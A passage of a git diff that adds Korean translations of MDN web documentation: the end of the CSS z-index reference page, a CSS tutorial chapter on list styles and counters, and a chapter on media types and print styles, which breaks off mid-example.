+ <li>현재 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>에서 자신의 위치.</li>
+ <li>자신만의 쌓임 맥락 생성 여부.</li>
+</ol>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+z-index: auto;
+
+/* &lt;integer&gt; 값 */
+z-index: 0;
+z-index: 3;
+z-index: 289;
+z-index: -1; /* 음수 값으로 우선순위를 낮출 수 있음 */
+
+/* 전역 값 */
+z-index: inherit;
+z-index: initial;
+z-index: unset;</pre>
+
+<p>z-index 속성은 <code>{{anch("auto")}}</code> 키워드 또는 <code>{{anch("&lt;integer&gt;")}}</code> 값을 사용해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>박스가 새로운 쌓임 맥락을 생성하지 않습니다. 현재 쌓임 맥락에서의 위치는 부모 요소와 동일합니다.</dd>
+ <dt><a id="&lt;integer>" name="&lt;integer>">{{cssxref("&lt;integer&gt;")}}</a></dt>
+ <dd>현재 쌓임 맥락에서의 위치로 이 값을 사용합니다. 또한 자신만의 쌓임 맥락을 생성하고, 해당 맥락에서 자신의 위치를 <code>0</code>으로 설정합니다. 이로 인해 자손의 <code>z-index</code>를 자기 외의 바깥 요소와 비교하지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="dashed-box"&gt;Dashed box
+  &lt;span class="gold-box"&gt;Gold box&lt;/span&gt;
+  &lt;span class="green-box"&gt;Green box&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3,11,19]">.dashed-box {
+  position: relative;
+  z-index: 1;
+  border: dashed;
+  height: 8em;
+  margin-bottom: 1em;
+  margin-top: 2em;
+}
+.gold-box {
+  position: absolute;
+  z-index: 3; /* put .gold-box above .green-box and .dashed-box */
+  background: gold;
+  width: 80%;
+  left: 60px;
+  top: 3em;
+}
+.green-box {
+  position: absolute;
+  z-index: 2; /* put .green-box above .dashed-box */
+  background: lightgreen;
+  width: 20%;
+  left: 65%;
+  top: -25px;
+  height: 7em;
+  opacity: 0.9;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '550', '200', '') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'visibility') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>visibility</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visuren.html#z-index', 'z-index') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.z-index")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS {{ Cssxref("position") }} 속성</li>
+ <li><a href="/ko/docs/Web/CSS/Understanding_z-index" title="ko/CSS/Understanding_z-index">CSS z-index 이해하기</a></li>
+</ul>
diff --git a/files/ko/web/css/시작하기/리스트/index.html b/files/ko/web/css/시작하기/리스트/index.html
new file mode 100644
index 0000000000..527eaaa768
--- /dev/null
+++ b/files/ko/web/css/시작하기/리스트/index.html
@@ -0,0 +1,244 @@
+---
+title: 리스트
+slug: Web/CSS/시작하기/리스트
+translation_of: Learn/CSS/Styling_text/Styling_lists
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+  <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Content", "내용물") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 10번째 장; 이번 장에서는 CSS에서 리스트를 어떻게 보여줄 것인지  설정하는 법에 대해 알아보자. 리스트를 포함하는 새로운 예제 Document를 생성하고, 리스트 스타일을 위한 새로운 stylesheet도 생성하라.</p>
+<h2 class="clearLeft" id="정보_리스트">정보: 리스트</h2>
+<p><a href="/en-US/docs/CSS/Getting_Started/Content" title="/en-US/docs/CSS/Getting_Started/Content">지난 섹션</a>에서 도전과제를 해결했다면, 어떤 elememt 앞에 리스트 아이템처럼 보여지는 내용물을 추가 하는 법을 보았을 것이다.</p>
+<p>CSS는 리스트를 위한 특별한 속성을 제공한다. 이는 무엇보다도 사용하기 편리한 방법이다.</p>
+<p>리스트 속성을 지정 하려면, {{ cssxref("list-style") }} 속성을 통해 마커 타입을 지정하라.</p>
+<p>CSS에 있는 설렉터 규칙은 리스트 아이템 element를 선택 할 수도 있고(예를 들면, {{ HTMLElement("li") }}) 부모 리스트 element도 선택 가능하다. (예를 들면 {{ HTMLElement ("ul") }}) 리스트 element도 스타일을 상속 받는다.</p>
+<h3 id="무순서_리스트">무순서 리스트</h3>
+<p><em>무순서</em> 리스트에서는, 각 리스트 아이템들이 같은 방식으로 mark된다.</p>
+<p>CSS는 세가지 방법의 마커가 있다. 브라우저에서는 다음과 같이 보여진다.</p>
+<ul style="padding-left: 2em;">
+  <li style="list-style-type: disc;"><code>disc</code></li>
+  <li style="list-style-type: circle;"><code>circle</code></li>
+  <li style="list-style-type: square;"><code>square</code></li>
+</ul>
+<p>다른 이미지도 URL로 설정 가능하다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>아래 규칙은 서로 다른 class의 리스트 아이템에 서로 다른 마커를 사용하고 있다.</p>
+  <pre class="brush:css">li.open {list-style: circle;}
+li.closed {list-style: disc;}
+</pre>
+  <p>When these classes are used in a list, they distinguish between open and closed items (for example, in a to-do list):</p>
+  <pre class="brush:css">&lt;ul&gt;
+  &lt;li class="open"&gt;Lorem ipsum&lt;/li&gt;
+  &lt;li class="closed"&gt;Dolor sit&lt;/li&gt;
+  &lt;li class="closed"&gt;Amet consectetuer&lt;/li&gt;
+  &lt;li class="open"&gt;Magna aliquam&lt;/li&gt;
+  &lt;li class="closed"&gt;Autem veleum&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+  <p>위 코드는 아래처럼 보여질 것이다.</p>
+  <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td>
+          <ul style="padding-right: 6em;">
+            <li style="list-style-type: circle;">Lorem ipsum</li>
+            <li style="list-style-type: disc;">Dolor sit</li>
+            <li style="list-style-type: disc;">Amet consectetuer</li>
+            <li style="list-style-type: circle;">Magna aliquam</li>
+            <li style="list-style-type: disc;">Autem veleum</li>
+          </ul>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h3 id="순차_리스트">순차 리스트</h3>
+<p>순차리스트는 각 리스트 아이템이 순차적으로 순서가 표시된 마커와 보여진다.</p>
+<p>{{ cssxref("list-style") }}속성으로 마커 타입을 설정 하라.</p>
+<ul style="padding-left: 2em;">
+  <li style=""><code>decimal</code></li>
+  <li style=""><code>lower-roman</code></li>
+  <li style=""><code>upper-roman</code></li>
+  <li style=""><code>lower-latin</code></li>
+  <li style=""><code>upper-latin</code></li>
+</ul>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 예제에서는 'info' class의 {{ HTMLElement("ol") }} elements에서, 아이템들이 대문자 순차 마커로 표시된다.</p>
+  <pre class="brush:css">ol.info {list-style: upper-latin;}
+</pre>
+  <p>아래 리스트 내의 {{ HTMLElement("li") }} element는 위의 스타일을 상속한다.</p>
+  <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td>
+          <ul>
+            <li style="padding-right: 6em; list-style-type: upper-latin;">Lorem ipsum</li>
+            <li style="padding-right: 6em; list-style-type: upper-latin;">Dolor sit</li>
+            <li style="padding-right: 6em; list-style-type: upper-latin;">Amet consectetuer</li>
+            <li style="padding-right: 6em; list-style-type: upper-latin;">Magna aliquam</li>
+            <li style="padding-right: 6em; list-style-type: upper-latin;">Autem veleum</li>
+          </ul>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>{{ cssxref("list-style") }}속성은 약어이다. 다소 복잡한 stylesheet에서는 속성과 그 값을 분리해서 사용하기를 원할 수 있다. 이 분리된 속성을 연결하는 방법이나 CSS에서 리스트에 더 자세한 설정법을 알려면{{ cssxref("list-style") }} 참조 페이지를 확인하라.</p>
+  <p>만약 HTML같은 관습적인 태그 비순차 리스트 아이템({{ HTMLElement("ul") }})와 순차 리스트 아이템({{ HTMLElement("ol") }})를 제공하는 마크업 언어를 사용한다면, 그 태그를 써서 쉽게 연습 해 볼 수 있다. 어쨌던 CSS써서 {{ HTMLElement("ul") }}를 순차 표시 할수 있고 {{ HTMLElement("ol") }} 를 통해 비순차를 원한다면 표시 할 수도 있다.</p>
+  <p>브라우저마다 리스트 스타일을 보여주는 자체 방식이 있다. Stylesheet로 모든 브라우저에서 동일하게 보여지는 것을 기대하지는 마라.</p>
+</div>
+<h3 id="카운터">카운터</h3>
+<div style="border: 1px solid red; padding: 6px; margin: 0 0 .5em -6px; width: 100%;">
+  <p><strong>참고: </strong> 일부 브라우저는 카운터를 지원하지 않는다. <a class="external" href="http://www.quirksmode.org/" title="http://www.quirksmode.org/">Quirks Mode site의 </a><a class="external" href="http://www.quirksmode.org/css/contents.html" title="http://www.quirksmode.org/css/contents.html">CSS 내용물과 브라우저 호환성</a> 페이지에 브라우저 호환 차트와 CSS의 다른 기능에 대한 호환성을 확인 할 수 있다. 이 사이트 <a href="/en/CSS_Reference" title="https://developer.mozilla.org/en/CSS_Reference">CSS 참조Reference</a>의 individual page(?)에는 브라우저 호환성 테이블도 확인 할 수 있다.</p>
+</div>
+<p>리스트 아이템 나열 뿐 아니라 Element를 순위매김 하기 위해 카운터를 사용할 수 있다. 예를 들어, documents내에서 머릿말니아 단락의 순서를 표시 하고 싶을때 사용 가능하다.</p>
+<p>순위 매김을 사용하려면 카운터에 이름을 할당하여 사용하면 된다.</p>
+<p>element에 순위메김 추가를 시작하기 전에 {{ cssxref("counter-reset") }}속성으로 초기화 하고 사용하고자 하는 카운터 이름을 쓰라. 카운터를 사용하는 elements의 부모에다 초기화 과정을 적용하는 것이 좋다. 그러나, 리스트 아이템 시작하기 전 어느 element에서든 초기화를 사용해도 된다.</p>
+<p>카운터가 증가하는 각 element에서, {{ cssxref("counter-increment") }} 속성을 사용하여 증가 하고 증가 하고자 하는 이름도 표시하라.</p>
+<p>카운터를 표시하기 위해서는 {{ cssxref(":before") }}나 {{ cssxref(":after") }} 설렉터를 써서 <code>content속성을 사용하여라.</code>(이전 페이지에서, <strong><a href="/en/CSS/Getting_Started/Content" title="en/CSS/Getting_Started/Content">Content</a></strong>사용에 대해 참고하라).</p>
+<p><code>content</code> 속성 값에 <code>counter()카운터 이름과 함께 사용하라.</code> 선택적으로 타입도 명시 가능하다. 타입은 위에서 언급한 <strong>Ordered lists</strong> 섹션에 나온것과 같다.</p>
+<p>보통 카운터를 표시하는 element도 하나씩 카운터 값이 증가 한다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 규칙은 class가 'numbered'인 모든 {{ HTMLElement("h3") }} element의 카운터를 초기화 한다.</p>
+  <pre class="brush:css">h3.numbered {counter-reset: mynum;}
+</pre>
+  <p> </p>
+  <p>이 아래 규칙은 모든 'numbered' class의 {{ HTMLELement("p") }} element에 카운터 값을 표시하고 그 값을 증가 시킨다.</p>
+  <pre class="brush:css">p.numbered:before {
+  content: counter(mynum) ": ";
+  counter-increment: mynum;
+  font-weight: bold;}
+</pre>
+  <p>결과는 아래와 같다.</p>
+  <table style="border: 2px outset #36b; padding: .5em 6em .5em 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td><strong>Heading</strong><br>
+          <p><strong>1: </strong>Lorem ipsum</p>
+          <p><strong>2: </strong>Dolor sit</p>
+          <p><strong>3: </strong>Amet consectetuer</p>
+          <p><strong>4: </strong>Magna aliquam</p>
+          <p><strong>5: </strong>Autem veleum</p>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>카운터가 지원되지 않는 브라우저에서는 카운터를 사용 할 수 없다.</p>
+  <p>카운터가 사용 가능하다면 카운터로 리스트아이템에서 지원 되는 것처럼 별도로 다른 내용물에 순위매김을 사용 할 수 있다. 예를 들면 위에서 처럼, 카운터는 굵은 글씨로 그외 아이템은 정상 글씨로 가능하다.</p>
+  <p>좀더 다양한 방법으로 카운터를 사용 할 수 있는데 —예를 들면, 형식적인 Document의 순서 섹션, 머릿말, 보조 머릿말과 단락등에서 사용 가능하다. 자세한 사항은 CSS사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> 를 확인 하라.</p>
+</div>
+<h2 id="액션_화려한_리스트">액션: 화려한 리스트</h2>
+<p><code>새로이 doc2.html</code>파일을 만들어라. 아래 코드를 복사하라.</p>
+<pre class="brush:html;">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Sample document 2&lt;/title&gt;
+    &lt;link rel="stylesheet" href="style2.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+    &lt;h3 id="oceans"&gt;The oceans&lt;/h3&gt;
+    &lt;ul&gt;
+      &lt;li&gt;Arctic&lt;/li&gt;
+      &lt;li&gt;Atlantic&lt;/li&gt;
+      &lt;li&gt;Pacific&lt;/li&gt;
+      &lt;li&gt;Indian&lt;/li&gt;
+      &lt;li&gt;Southern&lt;/li&gt;
+    &lt;/ul&gt;
+
+    &lt;h3 class="numbered"&gt;Numbered paragraphs&lt;/h3&gt;
+    &lt;p class="numbered"&gt;Lorem ipsum&lt;/p&gt;
+    &lt;p class="numbered"&gt;Dolor sit&lt;/p&gt;
+    &lt;p class="numbered"&gt;Amet consectetuer&lt;/p&gt;
+    &lt;p class="numbered"&gt;Magna aliquam&lt;/p&gt;
+    &lt;p class="numbered"&gt;Autem veleum&lt;/p&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><code>style2.css</code>를 만들어 아래 내용을 복사하라.</p>
+<pre class="brush:css;">/* numbered paragraphs */
+h3.numbered {counter-reset: mynum;}
+
+p.numbered:before {
+  content: counter(mynum) ": ";
+  counter-increment: mynum;
+  font-weight: bold;
+}
+</pre>
+<p>배치와 주석이 맘에 들지 않으면 마음대로 변경하라.</p>
+<p>브라우저에서 열어보라. 만약 브라우저가 카운터를 지원 한다면 아래 예제와 같이 보일 것이다. 브라우저가 지원하지 않는다면 숫자는 보이지 않을 것이다. (콜론도 보이지 않을 것이다.)</p>
+<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+  <tbody>
+    <tr>
+      <td>
+        <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p>
+        <ul style="">
+          <li>Arctic</li>
+          <li>Atlantic</li>
+          <li>Pacific</li>
+          <li>Indian</li>
+          <li>Southern</li>
+        </ul>
+        <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Numbered paragraphs</p>
+        <p><strong>1: </strong>Lorem ipsum</p>
+        <p><strong>2: </strong>Dolor sit</p>
+        <p><strong>3: </strong>Amet consectetuer</p>
+        <p><strong>4: </strong>Magna aliquam</p>
+        <p><strong>5: </strong>Autem veleum</p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<div class="tuto_example">
+  <div class="tuto_type">
+    도전</div>
+  <p>예제 stylesheet에 대양 표시 앞에 로마숫자로 i에서 v까지 나타나도록 추가 해 보라.</p>
+  <table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td>
+          <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p>
+          <ul style="">
+            <li>Arctic</li>
+            <li>Atlantic</li>
+            <li>Pacific</li>
+            <li>Indian</li>
+            <li>Southern</li>
+          </ul>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+  <p> </p>
+  <p>예제 stylesheet를 아래와 같이 대문자가 단락앞에 나오도록 만들어 보라.</p>
+  <table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td>
+          <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(A) The oceans</p>
+          <p><strong>. . .</strong></p>
+          <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(B) Numbered paragraphs</p>
+          <p><strong>. . .</strong></p>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Lists" title="en/CSS/Getting started/Challenge solutions#Lists">정답 확인.</a></p>
+<h2 id="다음에는">다음에는?</h2>
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Boxes", "상자") }}브라우저에서 예제 Document를 표시할때, element를 페이지에 element 주변으로 공간을 만든다. 다음장에서는 CSS가 어떻게 element아래쪽에 놓인 박스 모양과 동작하는지 설명한다(<a href="/en/CSS/Getting_Started/Boxes" title="en/CSS/Getting_Started/Boxes">boxes</a>.xm).</p>
diff --git a/files/ko/web/css/시작하기/미디어/index.html b/files/ko/web/css/시작하기/미디어/index.html
new file mode 100644
index 0000000000..2c9fceaca0
--- /dev/null
+++ b/files/ko/web/css/시작하기/미디어/index.html
@@ -0,0 +1,346 @@
+---
+title: 미디어
+slug: Web/CSS/시작하기/미디어
+translation_of: Web/Progressive_web_apps/Responsive/Media_types
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+  <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/21)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Tables", "테이블") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서의 14번쨰 장. 지금까지 이번 안내서에서는 많은 부분을 Document를 어떻게 보여 줄것인지 결정하는 CSS의 속성과 변수에 관해 소개 했다. 이번에는 Stylesheet의 구조와 목적에 대해 다시 살펴 보자.</p>
+<h2 class="clearLeft" id="정보_미디어">정보 : 미디어</h2>
+<p>CSS의 목적은 Document가 사용자에게 어떻게 보여질 것인가를 설정하는 것이다. 전시되는 형태는 하나 이상의 형식이 있다.</p>
+<p>예를 들면, 아마도 이 페이지도 화면 표시 장치를 통해 보여질 것이다. 그러나 큰 화면용으로 프로젝터나 프린트해서 보는 경우도 있을 것이다. 이런 다양한 미디어의 경우 그 고유의 문자셋같은 특징이 있을 것이다. CSS는 document를 각각의 미디어에 표시하기 위한 다양한 방법을 제공한다.</p>
+<p>미디어의 특정 타입을 정하는 규칙을 추가 하려면 {{ CSSXref("@media") }} 다음에 미디어 타입 넣고, 그 다음에 대괄호({})로 해당 규칙을 추가 하라.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>웹사이트에 있는 document는 그 사이트 전체를 살펴볼수 있도록 조절 할 수 있는 영역을 제공한다.</p>
+  <p>마크업 언어에서는, 조정영역의 부모 element의 <strong>id</strong>가 <code>nav-area</code>이다. ({{ HTMLVersionInline(5) }}에서는 <strong>id</strong> 속성이 포함된 {{ HTMLElement("div") }}대신에 {{ HTMLElement("nav") }} element로 사용 할 수 있다.)</p>
+  <p>Document가 프린트 될 경우는 이 조정 영역이 필요 없으므로 stylesheet에서는 완전히 이 영역을 제거한다.</p>
+  <pre class="brush:css">@media print {
+  #nav-area {display: none;}
+  }
+</pre>
+</div>
+<p>일반적인 미디어 타입은 아래와 같다.</p>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td><code>screen</code></td>
+      <td>컬러 컴퓨터 표시 장치</td>
+    </tr>
+    <tr>
+      <td><code>print</code></td>
+      <td>출력 장치</td>
+    </tr>
+    <tr>
+      <td style="padding-right: 1em;"><code>projection</code></td>
+      <td>프로젝트 출력 장치</td>
+    </tr>
+    <tr>
+      <td><code>all</code></td>
+      <td>그외 모든 미디어 장치(기본 설정)</td>
+    </tr>
+  </tbody>
+</table>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>한 무리의 규칙들의 미디어 타입을 설정하는데는 다른 방법들도 있다.</p>
+  <p>Stylesheet가 document로 연결되어 있을때 document의 마크업 언어는 미디어 타입을 설정하는 것을 허용한다. 예를 들면, HTML내의 <code>LINK</code> 태그에서 <code>media속성으로 옵션항목으로 미디어 타입을 설정 할 수 있다.</code></p>
+  <p>CSS에서 stylesheet의 앞부분에 {{ CSSXref("@import") }}로 URL로 부터 다른 stylesheet를 불러 올 수 있다. 추가적으로 미디어 타입도 사용 가능하다.</p>
+  <p>이와 같은 규직으로, 미디어 타입별로 다른 파일에 분리하여 관리 가능하다. 이렇게 함으로써 stylesheet를 구조화하는데 유용하게 사용한다.</p>
+  <p>좀더 자세한 미디어 타입에 대해서는 CSS의 사양서중 <a class="external" href="http://www.w3.org/TR/CSS21/media.html">Media</a>를 참고하라.</p>
+  <p>{{ cssxref("display") }}속성에 대해서 좀더 자세한 사항은 이 안내서 나중에 소개될 <a href="/en/CSS/Getting_Started/XML_data" title="en/CSS/Getting_Started/XML_data">XML data</a>를 참고하라.</p>
+</div>
+<h3 id="출력">출력</h3>
+<p>CSS에는 인쇄 매체나 프린터 출력을 위한 특별 지원을 한다</p>
+<p>{{ cssxref("@page") }} 규칙을 통해 여백을 설정할 수 있다. 양면출력을 위해서는 <code>@page:left</code>와 <code>@page:right</code>로 각각의 여백을 개별로 설정 할 수 있다.</p>
+<p>출력 매체를 위해 사용되는 단위는 인치 (<code>in</code>), 포인트(<code>pt</code> = 1/72 inch), 센티미터(<code>cm</code>)와 밀리미터(<code>mm</code>)등을 사용 할 수 있다. 글자 크기 설정과 맞추기 위해 사용하는 ems(em)과 퍼센트(%)도 사용하기에 적절하다.</p>
+<p>Document의 내용중 페이지 분할을 위해서는 { cssxref("page-break-before") }}나 {{ cssxref("page-break-after") }}, {{ cssxref("page-break-inside") }}속성을 사용할 수 있다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>아래 예제는 페이지 여백 4방향 모두를 1인치로 설정한다.</p>
+  <pre class="brush:css">@page {margin: 1in;}
+</pre>
+  <p> </p>
+  <p>아래 규칙은 모든 H1 element는 새 페이지에서 시작하도록 한다.</p>
+  <pre class="brush:css">h1 {page-break-before: always;}
+</pre>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>CSS의 출판 매체 지원에 대한 사항은 CSS사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/page.html">Paged media</a>를 확인 하라.</p>
+  <p>CSS의 다른 특징처럼 프린트 출력도 브라우저의 설정에 따라 다르다. 예를 들어 모질라 브라주저는 프린트 출력시 기본 바깥 여백과 머릿말, 꼬릿말이 지원된다. 사용자가 어떤 브라우저를 사용하는지, 그 브라우저의 설정값 또한 알수 없기 때문에 해당 페이지 출력물 결과를 알수 없다.</p>
+</div>
+<h3 id="사용자_인터페이스">사용자 인터페이스</h3>
+<p>CSS는 컴퓨터 모니터같은 표시장치를 위한 특별한 사용자 인터페이스를 지원한다. 이 속성으로 Document를 동적으로 사용자가 사용자 인터페이스로 동작 할 수 있도록 변경한다.</p>
+<p>사용자 인터페이스 장치에 대한 특별한 미디어 타입은 없다.</p>
+<p>단지 5가지 설렉터가 있을 뿐이다.</p>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td><strong>설렉터</strong></td>
+      <td><strong>선택</strong></td>
+    </tr>
+    <tr>
+      <td><code>E{{ cssxref(":hover") }}</code></td>
+      <td>포인터가 E로 명시된 element위에 놓일 경우</td>
+    </tr>
+    <tr>
+      <td><code>E{{ cssxref(":focus") }}</code></td>
+      <td>키보드 포커스를 가진 E element</td>
+    </tr>
+    <tr>
+      <td><code>E{{ cssxref(":active") }}</code></td>
+      <td>사용자 현재 동작에 개임된 E element</td>
+    </tr>
+    <tr>
+      <td><code>E{{ cssxref(":link") }}</code></td>
+      <td>최근에 방문하지 않은 URL을 가진 Hyperlink인 E element</td>
+    </tr>
+    <tr>
+      <td><code>E{{ cssxref(":visited") }}</code></td>
+      <td>최근에 방문한 URL을 가진 Hyperlink인 E element</td>
+    </tr>
+  </tbody>
+</table>
+<div class="note">
+  <p><strong>주의: </strong>:visited 설렉터에서 획득한 정보는 {{ gecko("2.0") }}에만 해당된다. 좀더 자세한 사항은 <a href="/en/CSS/Privacy_and_the_:visited_selector" title="en/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a>을 보라.</p>
+</div>
+<p>{{ cssxref("cursor") }}속성은 포인터의 모양을 설정한다. 몇몇 일반적인 모양은 다음과 같다. 브라우저에서 마우스를 아래 리스트에 각각 아이템으로 옮기면 그 모양을 확인 할 수 있다.</p>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td><strong>설렉터</strong></td>
+      <td><strong>선택</strong></td>
+    </tr>
+    <tr style="cursor: pointer;">
+      <td><code>pointer</code></td>
+      <td>링크임을 나타낼때</td>
+    </tr>
+    <tr style="cursor: wait;">
+      <td><code>wait</code></td>
+      <td>프로그램이 실행중이라 입력을 받지 못하는 상태일때</td>
+    </tr>
+    <tr style="cursor: progress;">
+      <td><code>progress</code></td>
+      <td>프로그램이 작업을 수행하고 있지만 입력을 받을 수 있는 상태</td>
+    </tr>
+    <tr style="cursor: default;">
+      <td><code>default</code></td>
+      <td>기본 상태(보통 화살표 모양)</td>
+    </tr>
+  </tbody>
+</table>
+<p>{{ cssxref("outline") }}속성은 키보드 포커스를 가리키는 외곽선을 생성할때 사용한다. 그 값은 사용자가 방향을 설정할 수 없다는 것을 제외하고는 {{ cssxref("border") }}속성과 유사하다.</p>
+<p>Some other features of user interfaces are implemented using attributes, in the normal way. For example, an element that is disabled or read-only has the <strong>disabled</strong> attribute or the <strong>readonly</strong> attribute. Selectors can specify these attributes like any other attributes, by using square brackets: <code>{{ mediawiki.external('disabled') }}</code> or <code>{{ mediawiki.external('readonly') }}</code>.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    Example</div>
+  <p>These rules specify styles for a button that changes dynamically as the user interacts with it:</p>
+  <pre class="brush:css">.green-button {
+  background-color:#cec;
+  color:#black;
+  border:2px outset #cec;
+  }
+
+.green-button[disabled] {
+  background-color:#cdc;
+  color:#777;
+  }
+
+.green-button:active {
+  border-style: inset;
+  }
+</pre>
+  <p> </p>
+  <p>This wiki does not support a user interface on the page, so these buttons do not "click". Here are some static images to illustrate the idea:</p>
+  <table style="border: 2px outset #36b; padding: 1em; background-color: #fff;">
+    <tbody>
+      <tr>
+        <td>
+          <table>
+            <tbody>
+              <tr>
+                <td><span style="width: 8em; height: 2em; background-color: #cdc; color: #777; padding: .5em 1em; cursor: default; margin-right: 1em; border: 2px outset #cec;">Click Me</span></td>
+                <td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px outset #cec;">Click Me</span></td>
+                <td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px inset #cec;">Click Me</span></td>
+              </tr>
+              <tr style="line-height: 25%;">
+                <td> </td>
+              </tr>
+              <tr style="font-style: italic;">
+                <td>disabled</td>
+                <td>normal</td>
+                <td>active</td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+  <p> </p>
+  <p>A fully functional button also has a dark outline around the entire button when it is the default, and a dotted outline on the face of the button when it has keyboard focus. It might also have a hover effect when the pointer is over it.</p>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    More details</div>
+  <p>For more information about user interfaces in CSS, see <a class="external" href="http://www.w3.org/TR/CSS21/ui.html">User interface</a> in the CSS Specification.</p>
+  <p>There is an example of Mozilla's markup language for user interfaces, XUL, in Part II of this tutorial.</p>
+</div>
+<h2 id="Action_Printing_a_document">Action: Printing a document</h2>
+<ol>
+  <li>Make a new HTML document, <code>doc4.html</code>. Copy and paste the content from here:
+    <pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Print sample&lt;/title&gt;
+    &lt;link rel="stylesheet" href="style4.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;Section A&lt;/h11&gt;
+    &lt;p&gt;This is the first section...&lt;/p&gt;
